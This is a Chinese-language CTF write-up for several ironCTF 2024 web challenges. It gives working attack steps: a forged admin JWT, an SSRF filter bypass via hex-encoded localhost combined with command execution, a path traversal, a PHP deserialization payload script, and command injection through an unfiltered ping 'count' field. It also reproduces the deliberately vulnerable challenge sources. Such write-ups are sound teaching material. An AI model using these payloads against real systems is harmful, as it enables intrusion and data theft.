ironCTF 2024 WEB EICS1 部分wp

好耶!是第一次拿奖的CTF!(虽然说这次re手不在有点可惜)

用户名 得分
LamentTyphon 2468
Jerrythepro123 2610
Dragonkeep 483

WEB

WEB

beginner的web题有点过于唐了。唐题≠难题。

JWT Hunt

唐题。jwt的secret被四等分在各个角落,还不让用扫描器

  • part1: /robots.txt
  • part2: cookie里
  • part3: /sitemap.xml
  • part4: curl /secretkeypart4

part1,2,4都算常规。part3你告诉我不用扫描器怎么做。。。有点逆天了嗷

最后是队里pwn✌用“lightfuzz”出的())

最后凑出来的key:6yH$#v9Wq3e&Zf8LpRt1%Y4nJ^aPk7Sd2C@mQjUwEbGoIhNy0T!BxlVz5uMKA#Yp

cookie填: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4MjAwMjYyfQ.IYR8d9sNi0C0e8OYm8-BSh86geTSMzTfonN4o9PKksI

ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}

Mango

这位更是重量级。看题目以为是MongoDB数据库注入啥的,试了半天没结果。md最后发现直接访问https://mango.1nf1n1ty.team/admin/index就有flag。。。(无语)

ironCTF{I_Said_M@nG0_N0t_M0ngo!}

好了唐题就到这里。以后这种题少出点真的(

Loan App

先看配置文件(吸取教训了)

global
    log stdout format raw local0
    maxconn 2000
    user root
    group root
    daemon

defaults
    log global
    option httplog
    timeout client 30s
    timeout server 30s
    timeout connect 30s

frontend http_front
    mode http
    bind :80
    acl is_admin path_beg /admin
    http-request deny if is_admin
    default_backend gunicorn

backend gunicorn
    mode http
    balance roundrobin
    server loanserver loanapp:8000 maxconn 32

看到有一个配置文件上的限制(不能去/admin)然而,一般这种都是可以找到现成的漏洞直接绕的(不然这题就没法解了)

bing了一下,出CVE-2021-40346

同样的payload打就完了。这里贴一个别的博客的解

然而,这是预期解。在我做题的时候直接把uuid检测那个函数放bing上搜,搜到了这样的一篇文章:https://stackoverflow.com/questions/25051675/how-to-validate-uuid-v4-in-go

直接输入fbd3036f-0f1c-4e98-b71c-d4cd61213f90直接就tm出flag了??????

不是哥们。等我搞明白发生肾么事了在把这段补上(

b64SiteViewer

附件

from flask import render_template,render_template_string,Flask,request
from urllib.parse import urlparse
import urllib.request
import random
import os
import subprocess
import base64
app=Flask(__name__)
app.secret_key=os.urandom(16)

@app.route('/',methods=['GET','POST'])
def home():
    if request.method=='GET':
        return render_template('home.html')
    if request.method=='POST':
        try:
            url=request.form.get('url')
            scheme=urlparse(url).scheme
            hostname=urlparse(url).hostname
            blacklist_scheme=['file','gopher','php','ftp','dict','data']
            blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
            if scheme in blacklist_scheme:
                return render_template_string('blocked scheme')     
            if hostname in blacklist_hostname:
                return render_template_string('blocked host')
            t=urllib.request.urlopen(url)
            content = t.read()
            output=base64.b64encode(content)
            return (f'''base64 version of the site:
                {output[:1000]}''')
        except Exception as e:
                print(e)
                return f" An error occurred: {e} - Unable to visit this site, try some other website."


@app.route('/admin')
def admin():
    remote_addr = request.remote_addr
    
    if remote_addr in ['127.0.0.1', 'localhost']:
        cmd=request.args.get('cmd','id')
        cmd_blacklist=['REDACTED']
        if "'" in cmd or '"' in cmd:
            return render_template_string('Command blocked')
        for i in cmd_blacklist:
            if i in cmd:
                return render_template_string('Command blocked')
        print(f"Executing: {cmd}")
        res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return res.stdout
    else:
        return render_template_string("Don't hack me")

if __name__=="__main__":
    app.run(host='0.0.0.0',port='5000')

一眼ssrf+RCE。我们要绕两个黑名单过滤。RCE这个好说(我们CN CTFER对RCE无所畏惧了已经,新生赛全是这些)主要是SSRF的过滤卡了我一会。

这里可以用进制绕过

127.0.0.1 == 0x7F.0.0.1

这题出题人还是有点仁慈了,需要ssti的服务/admin居然是get传参。还是相当方便的。

访问url:http://0x7F.0.0.1:5000/admin?cmd=env

返回:base64 version of the site: b'Q29tbWFuZCBibG9ja2Vk',解码得Command blocked

显然我们还有一个黑盒的黑名单要绕,但这个纯唐。随便手fuzz一下就出了

访问url:http://0x7F.0.0.1:5000/admin?cmd=en\v

出:base64 version of the site: b'U0hMVkw9MQpPTERQV0Q9LwpMQ19DVFlQRT1DLlVURi04CldFUktaRVVHX1NFUlZFUl9GRD0zCmZsYWc9aXJvbkNURnt5MHU0cjNyMGNrMW42azMzcGg0Y2sxbjZ9Cl89L3Vzci9sb2NhbC9iaW4vcHl0aG9uClBXRD0vaG9tZS91c2VyCg=='

解码得flag

ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}

cerealShop

黑盒题。进去F12看源码:

看到file想到路径穿越漏洞。先正常读取一个试试水

https://cerealshop.1nf1n1ty.team/?file=styles.css

没问题

根据base64中的提示访问../../../../../source出源码

整理源码:

<?php


// 获取通过GET请求传递的文件名
$file = $_GET['file']; 

// 包含(执行)指定的文件
includeFile($file); 

// 获取环境变量中的FLAG值
$FLAG = getenv('FLAG'); 

class Admin {
    // 类的属性
    public $is_admin = "";
    public $your_secret = "";
    public $my_secret = "";

    // 类的构造函数
    public function __construct($in, $ysecret, $msecret) {
        // 使用md5加密传入的$in值,并赋值给is_admin属性
        $this->is_admin = md5($in); 
        // 直接赋值给其他两个属性
        $this->your_secret = $ysecret; 
        $this->my_secret = $msecret; 
    }

    // 魔术方法__toString,当对象被用在需要字符串的上下文中时会被调用
    public function __toString() {
        // 返回is_admin属性的值
        return $this->is_admin; 
    }
}

// 检查是否存在名为'can_you_get_me'的cookie
if (isset($_COOKIE['can_you_get_me'])) {
    try {
        // 对cookie中的值进行base64解码
        $f = base64_decode($_COOKIE['can_you_get_me']);
        // 如果解码失败,抛出异常
        if (!$f) {
            throw new Exception(""); 
        }
        // 反序列化解码后的字符串
        $unout = unserialize($f); 
        // 如果反序列化失败,抛出异常
        if (!$unout) {
            throw new Exception("\n wrong cookie"); 
        }
        // 设置对象的my_secret属性为FLAG的值
        $unout->my_secret = $FLAG; 
        // 检查is_admin属性是否为0(md5加密后的0),以及your_secret是否等于my_secret
        if ($unout->is_admin == 0 && $unout->your_secret === $unout->my_secret) {
            // 如果条件满足,输出FLAG
            echo "Okay here is your flag:", $FLAG; 
        } else {
            // 否则输出"no"
            echo "no "; 
        }
    } catch (Exception $e) {
        // 捕获并输出异常信息
        echo "Error: " . $e->getMessage()

一个经典的反序列化漏洞。可以看:https://www.cnblogs.com/LAMENTXU/articles/18147817#1.10 第一关几乎一样

搓链子出:

<?php
class Admin {
    public $is_admin = 0;
    public $your_secret = "";
    public $my_secret = "";
    public function __construct() {
		$this->my_secret = 'a';
        $this->your_secret = &$this->my_secret;  
    }
    public function __toString() {
        return $this->is_admin; 
    }
}
echo base64_encode(serialize(new Admin()));
?>

把输出填进cookie里(can_you_get_me)得flag

ironCTF{D353r1411Z4710N_4T_1T5_B35T}

MovieReviewApp

.git泄露源码

from flask import Flask, render_template, request, redirect, url_for, flash, session
import psutil
import os
import platform
import subprocess
import re
import os
from dotenv import load_dotenv

load_dotenv()

app = Flask(__name__)
app.secret_key = os.urandom(32)
ADMIN_USERNAME = os.getenv('ADMIN_USERNAME')
ADMIN_PASSWORD =  os.getenv('ADMIN_PASSWORD')

@app.route('/')
def home():
    return render_template('index.html')
    
@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username == ADMIN_USERNAME and password == ADMIN_PASSWORD:
            session['logged_in'] = True
            return redirect(url_for('admin_panel'))
        else:
            flash("Invalid credentials. Please try again.")
    
    return render_template('login.html')

def ping_ip(ip, count):
    if re.match(r'^((25[05]|(2[04]|1\d|[19]|)\d)\.?\b){4}$', ip):
        return subprocess.check_output(f"ping c {count} {ip}", shell=True).decode()
    else:
        return "Invalid ip address and count!"
    

@app.route('/admin_panel', methods=['GET', 'POST'])
def admin_panel():
    if 'logged_in' not in session:
        return redirect(url_for('admin'))
    ping_result = None
    if request.method == 'POST':
        ip = request.form.get('ip')
        count = request.form.get('count', 1)
        try:
            ping_result = ping_ip(ip, count)
        except ValueError:
            flash("Count must be a valid integer")
        except Exception as e:
            flash(f"An error occurred: {e}")

    memory_info = psutil.virtual_memory()
    memory_usage = memory_info.percent
    total_memory = memory_info.total / (1024 ** 2) 
    available_memory = memory_info.available / (1024 ** 2) 
    return render_template('admin.html', ping_result=ping_result, 
                           memory_usage=memory_usage, total_memory=total_memory, 
                           available_memory=available_memory)

@app.route('/logout')
def logout():
    session.pop('logged_in', None)
    return redirect(url_for('admin'))

if __name__ == '__main__':
    app.run(debug=True)

查询git提交历史:

获得用户名密码

获得url路径

前往https://movie-review.1nf1n1ty.team/servermonitor/admin登录即可

让我想起了buuctf上的ping ping ping。看关键的函数:

def ping_ip(ip, count):
    if re.match(r'^((25[05]|(2[04]|1\d|[19]|)\d)\.?\b){4}$', ip):
        return subprocess.check_output(f"ping c {count} {ip}", shell=True).decode()
    else:
        return "Invalid ip address and count!"

只对ip进行了严格的过滤。而count理论上只能是数字(但只是前端限制)所以没有过滤。

burp抓包改一下出

cat /flag.txt

ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}

posted @ 2024-10-07 11:58  LamentXU  阅读(170)  评论(1编辑  收藏  举报